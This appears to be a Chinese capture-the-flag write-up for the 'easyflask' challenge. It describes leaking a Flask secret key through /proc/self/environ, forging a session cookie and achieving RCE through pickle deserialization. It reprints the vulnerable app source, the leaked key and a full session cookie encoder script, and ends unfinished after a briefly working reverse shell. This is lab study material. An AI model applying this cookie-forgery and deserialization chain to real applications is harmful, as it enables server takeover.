HFCTF-2021-Final-easyflask
考点：
环境变量信息泄露
pickle 反序列化RCE
Flask_seesion 伪造
__ruduce__魔术方法利用
思路：
反序列化肯定包含 创建新对象的操作，如果__reduce__里包含攻击代码就可以实现RCE，但是被反序列化的输出储存在session里，需要知道密钥进行伪造。
密钥获得途径：一般都可以在 代码里、配置文件里(app.config)、环境变量里（/proc/self/environ）获得。这题属于第三者。
首先拿到secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuhOLDPWD
/app/source源码信息:
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):#如果u对应的值是字典，会读取 u.b
u = b64decode(u.get('b'))
u = pickle.loads(u)#pickle反序列化
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
因为需要伪造 session 但是我在kali 用 flask-session-cookie-manager 加密后的session 没有 反弹shell 成功。 在 window 用的脚本 也没成功。
看到别的师傅用这个脚本，试一下：
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))同样是在linux 下使用
连上了之后就再也连不上了。 不搞了 这题真的浪费时间